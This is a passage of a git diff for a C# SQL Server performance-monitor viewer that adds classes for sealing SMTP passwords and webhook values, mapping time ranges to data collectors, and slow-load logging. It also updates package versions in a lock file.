+            /* #5555: this load's clock is a local handed down to the loaders this method calls (Walk finding D15: a loader wraps each
+               store read in Timed(timer, ...)), not a field. A read that starts outside this load (a Daily Summary drill into
+               Top Queries, a slicer drag) passes null, so it cannot append its phases to this load's line, finished or live, or
+               rename it. */
+            if (slow is not null)
+            {
+                ViewerLogger.Warn("SlowLoad", $"[{_server.DisplayName}] {slow}");
+            }
+        }
     }
 
+    /// <summary>The name a slow-load line gives a tab that sets no sub-surface of its own: the tab's header text, or its index
+    /// when the header is not plain text or the tab is unknown.</summary>
+    internal static string InnerTabLoadName(int tabIndex, object? header) =>
+        header is string text && !string.IsNullOrWhiteSpace(text) ? text.Trim() : $"inner tab {tabIndex}";
+
     private async Task LoadOverviewChartsAsync()
     {
         /* The lanes control reads its own six feeds + four baselines concurrently over the toolbar's
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs
new file mode 100644
index 0000000000..1cbe15900c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The SMTP half of <see cref="ViewerPasswordSealer"/> (#5366): seals the mail-server password for the host, port, SSL
+/// flag and user name it is stored with, the same four values the service builds its binding from when it reads the row.
+/// </summary>
+public sealed partial class ViewerPasswordSealer
+{
+    /// <summary>
+    /// Seals the SMTP password for the settings it is stored with. The four values must be exactly the ones written to
+    /// the notification row. Throws <see cref="ViewerPasswordRefusedException"/> when the password or a bound field is
+    /// not valid text; the sentence never carries a value.
+    /// </summary>
+    public string SealSmtp(string plaintext, string? host, int port, bool useSsl, string? username)
+    {
+        ArgumentNullException.ThrowIfNull(plaintext);
+
+        if (!ViewerSmtpSeal.IsValidText(plaintext))
+        {
+            throw new ViewerPasswordRefusedException(PasswordCharactersText);
+        }
+
+        var invalidField = ViewerSmtpSeal.FirstInvalidBoundField(host, username);
+        if (invalidField is not null)
+        {
+            throw new ViewerPasswordRefusedException(FieldCharactersText(invalidField));
+        }
+
+        try
+        {
+            return PasswordSeal.Seal(plaintext, key, PasswordBinding.ForSmtp(host, port, useSsl, username));
+        }
+        catch (Exception ex) when (ex is PasswordSealException or ArgumentException)
+        {
+            throw new ViewerPasswordRefusedException(
+                Encoding.UTF8.GetByteCount(plaintext) > PasswordSeal.MaxPlaintextBytes ? PasswordTooLongText : PasswordCharactersText);
+        }
+    }
+}
+
+/// <summary>What a Settings save does with the SMTP password.</summary>
+public enum ViewerSmtpPasswordAction
+{
+    /// <summary>Store what the row already holds (nothing, or the value that was loaded).</summary>
+    Keep,
+
+    /// <summary>Seal the password that was typed.</summary>
+    Seal,
+
+    /// <summary>The save is refused: how mail is sent changed and no password was typed.</summary>
+    Refuse,
+}
+
+/// <summary>The decisions around the sealed SMTP password in the Settings window (#5366), kept apart from the window so they can be tested.</summary>
+public static class ViewerSmtpSeal
+{
+    private static readonly UTF8Encoding s_strictUtf8 = new(false, true);
+
+    /// <summary>The refusal for a change to the host, port, SSL flag or user name when no password was typed.</summary>
+    public const string ReenterText = "Changing how mail is sent needs the SMTP password again.";
+
+    /// <summary>What the status line says next to a blank password box when a password is already saved.</summary>
+    public const string SavedText = "Saved. Leave blank to keep it.";
+
+    /// <summary>What a test send says when the only password there is is a saved one this window cannot read.</summary>
+    public const string SavedCannotTestText = "The saved SMTP password cannot be read here. Type the password to send a test email.";
+
+    /// <summary>Whether <paramref name="text"/> can be stored (it holds no lone surrogate).</summary>
+    public static bool IsValidText(string? text)
+    {
+        if (text is null)
+        {
+            return true;
+        }
+
+        try
+        {
+            _ = s_strictUtf8.GetByteCount(text);
+            return true;
+        }
+        catch (EncoderFallbackException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>The name of the first bound field that is not valid text, or null when both are.</summary>
+    public static string? FirstInvalidBoundField(string? host, string? username)
+    {
+        if (!IsValidText(host))
+        {
+            return "mail server";
+        }
+
+        return IsValidText(username) ? null : "SMTP user name";
+    }
+
+    /// <summary>Whether the values a password is sealed for differ between the stored row and the edited one: host, port, SSL flag, user name.</summary>
+    public static bool BindingChanged(NotificationRow stored, NotificationRow edited)
+    {
+        ArgumentNullException.ThrowIfNull(stored);
+        ArgumentNullException.ThrowIfNull(edited);
+
+        var was = PasswordBinding.ForSmtp(stored.SmtpHost, stored.SmtpPort, stored.SmtpUseSsl, stored.SmtpUsername);
+        var now = PasswordBinding.ForSmtp(edited.SmtpHost, edited.SmtpPort, edited.SmtpUseSsl, edited.SmtpUsername);
+        for (var i = 0; i < was.Fields.Count; i++)
+        {
+            if (!string.Equals(was.Fields[i] ?? "", now.Fields[i] ?? "", StringComparison.Ordinal))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// What to do with the SMTP password on a save. <paramref name="stored"/> is the row the window loaded;
+    /// <paramref name="storedPlain"/> is the password the box was pre-filled with (only for a value this machine could read),
+    /// or null. A typed password is sealed; a blank one keeps the stored value, unless the host, port, SSL flag or user
+    /// name changed, which needs the password again.
+    /// </summary>
+    public static ViewerSmtpPasswordAction Decide(
+        NotificationRow stored, string? storedPlain, NotificationRow edited, string? typed)
+    {
+        ArgumentNullException.ThrowIfNull(stored);
+        ArgumentNullException.ThrowIfNull(edited);
+        typed ??= "";
+
+        var changed = BindingChanged(stored, edited);
+        if (typed.Length > 0)
+        {
+            /* The box was pre-filled with a value this machine could read and left alone: that is a blank for a value that stays. */
+            if (!changed && storedPlain is not null && string.Equals(typed, storedPlain, StringComparison.Ordinal))
+            {
+                return ViewerSmtpPasswordAction.Keep;
+            }
+
+            return ViewerSmtpPasswordAction.Seal;
+        }
+
+        return changed && !string.IsNullOrEmpty(stored.SmtpEncryptedPassword)
+            ? ViewerSmtpPasswordAction.Refuse
+            : ViewerSmtpPasswordAction.Keep;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerTimeRangeWindow.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerTimeRangeWindow.cs
new file mode 100644
index 0000000000..3149a5cc07
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerTimeRangeWindow.cs
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Ui;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The pure half of the Viewer's time range (#5562): how a <see cref="TimeRangeSpec"/> the shared picker holds becomes
+/// the naive-UTC window every inner tab reads, the whole hours the few integer readers still take, the legacy
+/// preset index old preference files hold, and which collector a tab's chart is fed by (for
+/// the picker's "collected every N minutes" note). Nothing here reads the clock, the zone or a control, so a test pins
+/// each rule without a window (a <c>ViewerServerTab</c> needs the app's resources and cannot be built in a test).
+/// </summary>
+internal static class ViewerTimeRangeWindow
+{
+    /// <summary>The window a range that cannot be resolved right now (a 'since' start that has not happened yet; a calendar
+    /// period is exempt from the 5-minute floor) falls back to: the Viewer's historical 24 hours, so no surface is ever window-less.</summary>
+    internal static readonly TimeSpan FallbackSpan = TimeSpan.FromHours(24);
+
+    /// <summary>The window to read now: the range's start and end as naive UTC, and whether the end slides with the
+    /// clock. A live range (past N, since X, today) ends at <paramref name="nowUtc"/>; a fixed or finished calendar
+    /// period keeps its instants. No upper bound is applied: a long period reads what the data holds (#5562 R1).</summary>
+    internal static (DateTime StartUtc, DateTime EndUtc, bool IsLive) Window(TimeRangeSpec spec, DateTime nowUtc, TimeZoneInfo zone)
+    {
+        ArgumentNullException.ThrowIfNull(spec);
+        ArgumentNullException.ThrowIfNull(zone);
+        if (spec.TryResolve(nowUtc, zone, out var range, out _) && range is not null)
+        {
+            return (range.StartUtc, range.EndUtc, range.IsLive);
+        }
+
+        return (nowUtc - FallbackSpan, nowUtc, true);
+    }
+
+    /// <summary>The whole hours a reader that still takes "hours back" is given for a window: rounded up, at least one,
+    /// so a 45-minute window reads as 1 hour rather than 0. A reader that can take the window's two instants should
+    /// (the Overview lanes do); this is for the ones that cannot.</summary>
+    internal static int HoursBack(DateTime startUtc, DateTime endUtc)
+    {
+        var hours = (int)Math.Ceiling((endUtc - startUtc).TotalHours);
+        return hours < 1 ? 1 : hours;
+    }
+
+    /// <summary>Legacy preset index (the old combo and the old preference file: 0=1h, 1=4h, 2=12h, 3=24h, 4=7d) to
+    /// hours back. Index 5 (Custom) and any stray value fall to the 24-hour default. Pure and static so the mapping is
+    /// unit-testable.</summary>
+    internal static int LegacyIndexToHours(int index) => index switch
+    {
+        0 => 1,
+        1 => 4,
+        2 => 12,
+        3 => 24,
+        4 => 168,
+        _ => 24,
+    };
+
+    /// <summary>The range a legacy preset index stands for: 1h, 4h, 12h, 1d, 1w (24 hours is "1d" and 168 is "1w").</summary>
+    internal static TimeRangeSpec FromLegacyIndex(int index)
+        => TimeRangePresets.FromLegacyHours(LegacyIndexToHours(index)) ?? TimeRangeSpec.Relative(FallbackSpan);
+
+    /// <summary>The legacy index nearest a range, so a preference file written now still opens on an older build:
+    /// 1h=0, 4h=1, 12h=2, 1d=3, 1w=4, and the historical default (3) for anything the old combo could not hold.</summary>
+    internal static int ToLegacyIndex(TimeRangeSpec spec)
+        => spec.Id switch
+        {
+            "1h" => 0,
+            "4h" => 1,
+            "12h" => 2,
+            "1d" => 3,
+            "1w" => 4,
+            _ => ViewerPreferences.DefaultTimeRangeIndexValue,
+        };
+
+    /// <summary>The collector that feeds the first chart of a top-level inner tab, by the tab's header, or null for a tab
+    /// that has no single main collector (it then shows no sample-interval note). Names are
+    /// <see cref="CollectorScheduleDefaults"/> keys.</summary>
+    internal static string? MainCollectorFor(string? innerTabHeader) => innerTabHeader switch
+    {
+        "Overview" => "cpu_utilization",
+        "Wait Stats" => "wait_stats",
+        "Queries" => "query_stats",
+        "CPU" => "cpu_utilization",
+        "Memory" => "memory_stats",
+        "File I/O" => "file_io_stats",
+        "tempdb" => "tempdb_stats",
+        "Blocking" => "blocked_process_report",
+        _ => null,
+    };
+
+    /// <summary>The collector behind the page on screen (#5562 L3): the top-level tab's header and, for a tab that holds sub-tabs, the
+    /// selected sub-tab's, as Lite's <c>LiteTimeRange.MainCollectorFor</c> does, so Queries &gt; Query Store names the 5-minute
+    /// collector and Blocking &gt; Current Waits the waiting-tasks one. A sub-tab with no entry here, or none, falls back to the
+    /// top-level tab's collector (<see cref="MainCollectorFor(string?)"/>).</summary>
+    internal static string? MainCollectorFor(string? innerTabHeader, string? subTabHeader)
+    {
+        var bySubTab = innerTabHeader switch
+        {
+            "Queries" => subTabHeader switch
+            {
+                "Performance Trends" => "query_stats",
+                "Active Queries" => "query_snapshots",
+                "Top Queries by Duration" => "query_stats",
+                "Top Procedures by Duration" => "procedure_stats",
+                "Query Store by Duration" => "query_store",
+                "Plan Corrections" => "plan_correction",
+                "Query Heatmap" => "query_stats",
+                _ => null,
+            },
+            "CPU" => subTabHeader == "CPU Scheduler" ? "cpu_scheduler_stats" : null,
+            "Memory" => subTabHeader switch
+            {
+                "Memory Clerks" => "memory_clerks",
+                "Memory Grants" => "memory_grant_stats",
+                "Plan Cache" => "plan_cache_stats",
+                "Memory Pressure Events" => "memory_pressure_events",
+                _ => null,
+            },
+            "Blocking" => subTabHeader switch
+            {
+                "Current Waits" => "waiting_tasks",
+                "Deadlocks" => "deadlocks",
+                "Blocking Stats" => "deadlocks",
+                _ => null,
+            },
+            _ => null,
+        };
+
+        return bySubTab ?? MainCollectorFor(innerTabHeader);
+    }
+
+    /// <summary>How often <paramref name="collector"/> actually runs on this server: its fleet or per-server schedule
+    /// override if there is one, else the shipped default (<see cref="CollectorScheduleDefaults"/>). Null for a collector
+    /// that is not scheduled on a cadence (on load) or is not known, so the picker shows no note rather than a wrong one.</summary>
+    internal static TimeSpan? SampleIntervalFor(string? collector, int serverId, IEnumerable<CollectorScheduleRow>? overrides)
+    {
+        if (string.IsNullOrEmpty(collector))
+        {
+            return null;
+        }
+
+        var minutes = CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(collector, serverId, overrides);
+        return minutes is > 0 ? TimeSpan.FromMinutes(minutes.Value) : null;
+    }
+
+    /// <summary>The longest choice Alert History offers (#5562 R8), the "All" the old list had: a span equal to what the alert
+    /// table keeps, <see cref="DarlingRetentionHorizons.AlertHistoryRetentionDays"/> (90 days; <c>config_alert_log</c> is purged
+    /// past it), and never longer than a year when that retention is raised. A longer range would only read the same rows.</summary>
+    internal static TimeRangeSpec AlertHistoryLongestChoice { get; } =
+        TimeRangeSpec.Relative(TimeSpan.FromDays(Math.Min(DarlingRetentionHorizons.AlertHistoryRetentionDays, 365)));
+
+    /// <summary>The longest choice Job History offers (#5562 R8): 365 days, the old "Last Year", the same on Lite. The parser has no
+    /// year unit, so this choice is the way to a year.</summary>
+    internal static TimeRangeSpec JobHistoryLongestChoice { get; } = TimeRangeSpec.Relative(TimeSpan.FromDays(365));
+
+    /// <summary>The range a newly-opened tab starts on, from the persisted preference (a string id wins; the legacy
+    /// index stands in for a file written before the string existed).</summary>
+    internal static TimeRangeSpec DefaultFor(ViewerPreferences preferences)
+    {
+        ArgumentNullException.ThrowIfNull(preferences);
+        return TimeRangeSpec.TryFromId(preferences.DefaultTimeRange, out var spec) && spec is not null && IsPersistable(spec)
+            ? spec
+            : FromLegacyIndex(preferences.DefaultTimeRangeIndex);
+    }
+
+    /// <summary>True for a range that makes sense as a standing default: a rolling length or a calendar period. A fixed
+    /// or since range names concrete instants and stays unpersisted (as Custom always has).</summary>
+    internal static bool IsPersistable(TimeRangeSpec spec)
+        => spec.Kind is TimeRangeKind.Relative or TimeRangeKind.Calendar;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs
new file mode 100644
index 0000000000..f392cadadb
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// What the viewer stores for the webhook values (#5366): the Teams, Slack and generic URLs, the PagerDuty routing key and the
+/// generic headers, on the notification settings row and on each route. A saved value is sealed to the service's key for its
+/// slot, row, proxy and (for the headers) generic URL, and is shown back blank. A box left blank keeps the saved value;
+/// a box that holds <see cref="ClearMarker"/> removes it; any other text is the new value and is sealed. A value saved before
+/// sealing existed is shown as it was saved, and a save seals it.
+/// </summary>
+public static class ViewerWebhookSealing
+{
+    /// <summary>What a box says next to a saved value.</summary>
+    public const string KeepHint = "Saved. Leave blank to keep it. Type - to remove it.";
+
+    /// <summary>A box holding only this text removes the saved value.</summary>
+    public const string ClearMarker = "-";
+
+    /// <summary>The text a box shows for a stored value: nothing for a sealed one, which cannot be shown.</summary>
+    public static string ShownText(string? stored) => PasswordSeal.IsSealed(stored) ? "" : stored ?? "";
+
+    /// <summary>Whether a stored value is sealed, so its box shows <see cref="KeepHint"/>.</summary>
+    public static bool IsSaved(string? stored) => PasswordSeal.IsSealed(stored);
+
+    /// <summary>The value a blank box stands for: the sealed text already stored, or what was typed.</summary>
+    public static string CarryKept(string? typed, string? stored)
+    {
+        var text = typed?.Trim() ?? "";
+        return text.Length == 0 && PasswordSeal.IsSealed(stored) ? stored! : text;
+    }
+
+    /// <summary>Whether <paramref name="value"/> (after <see cref="CarryKept"/>) is new text that needs the key to seal.</summary>
+    public static bool NeedsKey(string? value, string? stored)
+    {
+        var text = value?.Trim() ?? "";
+        return text.Length > 0 && text != ClearMarker && !(PasswordSeal.IsSealed(text) && string.Equals(text, stored, StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// What a Send Test button says when its box is blank because the value is saved (#5366), or null when the test can go
+    /// ahead. A saved value is sealed and cannot be read here, so a blank box would test nothing; the value has to be typed.
+    /// </summary>
+    public static string? CannotTestSavedValueText(string? typed, string? stored, string label)
+    {
+        if (!string.IsNullOrWhiteSpace(typed) || !PasswordSeal.IsSealed(stored))
+        {
+            return null;
+        }
+
+        return $"The {label} is saved, and a saved value cannot be tested from here. Type the {label} to test it.";
+    }
+
+    /// <summary>What the Settings window says after a save that changed a channel's proxy while a route holds a value sealed
+    /// for the old proxy: the route's value no longer opens, so its channel sends nothing until it is entered again.</summary>
+    public const string RouteValuesNeedEnteringAgainText =
+        "Route webhook values were saved for the old proxy. Enter them again on each route.";
+
+    /// <summary>
+    /// Whether saving <paramref name="row"/> over <paramref name="stored"/> changes the proxy of a channel for which some route
+    /// holds a sealed value (#5366). A route value is bound to its channel's proxy on the settings row, so it stops opening
+    /// when that proxy changes. A legacy plaintext route value is not bound to anything and is not counted.
+    /// </summary>
+    public static bool RouteValuesNeedEnteringAgain(NotificationRow? stored, NotificationRow row, IEnumerable<NotificationRouteRow> routes)
+    {
+        ArgumentNullException.ThrowIfNull(row);
+        ArgumentNullException.ThrowIfNull(routes);
+        if (stored is null)
+        {
+            return false;
+        }
+
+        var teams = !string.Equals(row.TeamsProxy ?? "", stored.TeamsProxy ?? "", StringComparison.Ordinal);
+        var slack = !string.Equals(row.SlackProxy ?? "", stored.SlackProxy ?? "", StringComparison.Ordinal);
+        var generic = !string.Equals(row.GenericProxy ?? "", stored.GenericProxy ?? "", StringComparison.Ordinal);
+        var pagerDuty = !string.Equals(row.PagerDutyProxy ?? "", stored.PagerDutyProxy ?? "", StringComparison.Ordinal);
+        return routes.Any(r =>
+            (teams && PasswordSeal.IsSealed(r.TeamsUrl)) || (slack && PasswordSeal.IsSealed(r.SlackUrl))
+            || (generic && PasswordSeal.IsSealed(r.GenericUrl)) || (pagerDuty && PasswordSeal.IsSealed(r.PagerDutyRoutingKey)));
+    }
+
+    /// <summary>What the Settings window says when new generic headers are typed and the generic URL box is blank.</summary>
+    public const string RetypeUrlForHeadersText = "Type the generic webhook URL again to change its headers.";
+
+    /// <summary>
+    /// Whether the generic headers box holds new or changed text while the generic URL box is blank and a saved URL is kept
+    /// (#5366). The URL is then not on screen, so the plain-http warning could not see it; the save asks for it again.
+    /// </summary>
+    public static bool HeadersNeedUrlRetyped(string? typedHeaders, string? typedUrl, string? storedHeaders, string? storedUrl)
+    {
+        var headers = CarryKept(typedHeaders, storedHeaders);
+        return NeedsKey(headers, storedHeaders)
+            && string.IsNullOrWhiteSpace(typedUrl)
+            && PasswordSeal.IsSealed(storedUrl);
+    }
+
+    /// <summary>Whether any webhook value on the settings row needs the key.</summary>
+    public static bool NeedsKey(NotificationRow row, NotificationRow? stored) =>
+        NeedsKey(row.TeamsUrl, stored?.TeamsUrl) || NeedsKey(row.SlackUrl, stored?.SlackUrl)
+        || NeedsKey(row.GenericUrl, stored?.GenericUrl) || NeedsKey(row.GenericHeaders, stored?.GenericHeaders)
+        || NeedsKey(row.PagerDutyRoutingKey, stored?.PagerDutyRoutingKey);
+
+    /// <summary>Whether any webhook value on the route needs the key.</summary>
+    public static bool NeedsKey(NotificationRouteRow row, NotificationRouteRow? stored) =>
+        NeedsKey(row.TeamsUrl, stored?.TeamsUrl) || NeedsKey(row.SlackUrl, stored?.SlackUrl)
+        || NeedsKey(row.GenericUrl, stored?.GenericUrl) || NeedsKey(row.PagerDutyRoutingKey, stored?.PagerDutyRoutingKey);
+
+    /// <summary>
+    /// Replaces the webhook values on the settings row with what is stored: kept sealed text, a new sealed value, or empty.
+    /// Run after <see cref="CarryKept"/> has been applied to each box. Throws <see cref="ViewerPasswordRefusedException"/> with
+    /// a sentence that names the value, or the reason no value can be sealed (<paramref name="refusal"/>).
+    /// </summary>
+    public static void ResolveSettingsRow(NotificationRow row, NotificationRow? stored, ViewerPasswordSealer? sealer, string? refusal)
+    {
+        ArgumentNullException.ThrowIfNull(row);
+        var where = PasswordBinding.WebhookSettingsRow;
+
+        row.TeamsUrl = ResolveValue(row.TeamsUrl, stored?.TeamsUrl, "teams", where, row.TeamsProxy, stored?.TeamsProxy, null, null, "Teams webhook URL", sealer, refusal);
+        row.SlackUrl = ResolveValue(row.SlackUrl, stored?.SlackUrl, "slack", where, row.SlackProxy, stored?.SlackProxy, null, null, "Slack webhook URL", sealer, refusal);
+        row.GenericUrl = ResolveValue(row.GenericUrl, stored?.GenericUrl, "generic", where, row.GenericProxy, stored?.GenericProxy, null, null, "generic webhook URL", sealer, refusal);
+        row.GenericHeaders = ResolveValue(
+            row.GenericHeaders, stored?.GenericHeaders, "generic_headers", where, row.GenericProxy, stored?.GenericProxy,
+            row.GenericUrl, stored?.GenericUrl, "generic webhook headers", sealer, refusal);
+        row.PagerDutyRoutingKey = ResolveValue(row.PagerDutyRoutingKey, stored?.PagerDutyRoutingKey, "pagerduty", where, row.PagerDutyProxy, stored?.PagerDutyProxy, null, null, "PagerDuty routing key", sealer, refusal);
+    }
+
+    /// <summary>
+    /// Replaces the webhook destinations on a route with what is stored. A route has no proxy of its own: each value is bound to
+    /// its channel's proxy on <paramref name="parent"/>, the settings row the route inherits from.
+    /// </summary>
+    public static void ResolveRoute(
+        NotificationRouteRow row, NotificationRouteRow? stored, NotificationRow parent, int routeId,
+        ViewerPasswordSealer? sealer, string? refusal)
+    {
+        ArgumentNullException.ThrowIfNull(row);
+        ArgumentNullException.ThrowIfNull(parent);
+        var where = PasswordBinding.WebhookRouteRow(routeId);
+
+        row.TeamsUrl = ResolveValue(row.TeamsUrl, stored?.TeamsUrl, "teams", where, parent.TeamsProxy, parent.TeamsProxy, null, null, "Teams webhook URL", sealer, refusal);
+        row.SlackUrl = ResolveValue(row.SlackUrl, stored?.SlackUrl, "slack", where, parent.SlackProxy, parent.SlackProxy, null, null, "Slack webhook URL", sealer, refusal);
+        row.GenericUrl = ResolveValue(row.GenericUrl, stored?.GenericUrl, "generic", where, parent.GenericProxy, parent.GenericProxy, null, null, "generic webhook URL", sealer, refusal);
+        row.PagerDutyRoutingKey = ResolveValue(row.PagerDutyRoutingKey, stored?.PagerDutyRoutingKey, "pagerduty", where, parent.PagerDutyProxy, parent.PagerDutyProxy, null, null, "PagerDuty routing key", sealer, refusal);
+    }
+
+    private static string ResolveValue(
+        string? value, string? stored, string slot, string row, string? proxy, string? storedProxy, string? boundUrl,
+        string? storedBoundUrl, string label, ViewerPasswordSealer? sealer, string? refusal)
+    {
+        var text = value?.Trim() ?? "";
+        if (text.Length == 0 || text == ClearMarker)
+        {
+            return "";
+        }
+
+        if (PasswordSeal.IsSealed(text) && string.Equals(text, stored, StringComparison.Ordinal))
+        {
+            /* The saved value stays only while what it was sealed for is unchanged: a changed proxy or generic URL needs it again. */
+            if (!string.Equals(proxy ?? "", storedProxy ?? "", StringComparison.Ordinal))
+            {
+                throw new ViewerPasswordRefusedException($"Enter the {label} again: its proxy changed.");
+            }
+
+            if (!string.Equals(boundUrl ?? "", storedBoundUrl ?? "", StringComparison.Ordinal))
+            {
+                throw new ViewerPasswordRefusedException($"Enter the {label} again: the generic webhook URL changed.");
+            }
+
+            return text;
+        }
+
+        if (sealer is null)
+        {
+            throw new ViewerPasswordRefusedException(refusal ?? ViewerPasswordKey.NoKeyText);
+        }
+
+        try
+        {
+            return sealer.SealWebhook(text, PasswordBinding.ForWebhook(slot, row, proxy, boundUrl));
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            throw new ViewerPasswordRefusedException($"The {label}: {ex.Message}");
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json b/Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json
index 62cc39cc34..f724fedf34 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json
+++ b/Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json
@@ -22,9 +22,9 @@
       },
       "Velopack": {
         "type": "Direct",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       },
       "Azure.Core": {
         "type": "Transitive",
@@ -84,16 +84,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -464,8 +464,8 @@
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -474,7 +474,7 @@
       "performancemonitor.collectors": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )"
         }
       },
       "performancemonitor.common": {
@@ -488,45 +488,48 @@
       "performancemonitor.darling.analysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )",
           "ModelContextProtocol": "[2.2.0, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Storage": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Storage": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.darling.storage": {
         "type": "Project",
         "dependencies": {
           "Npgsql": "[10.0.3, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )"
         }
       },
       "performancemonitor.notifications": {
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
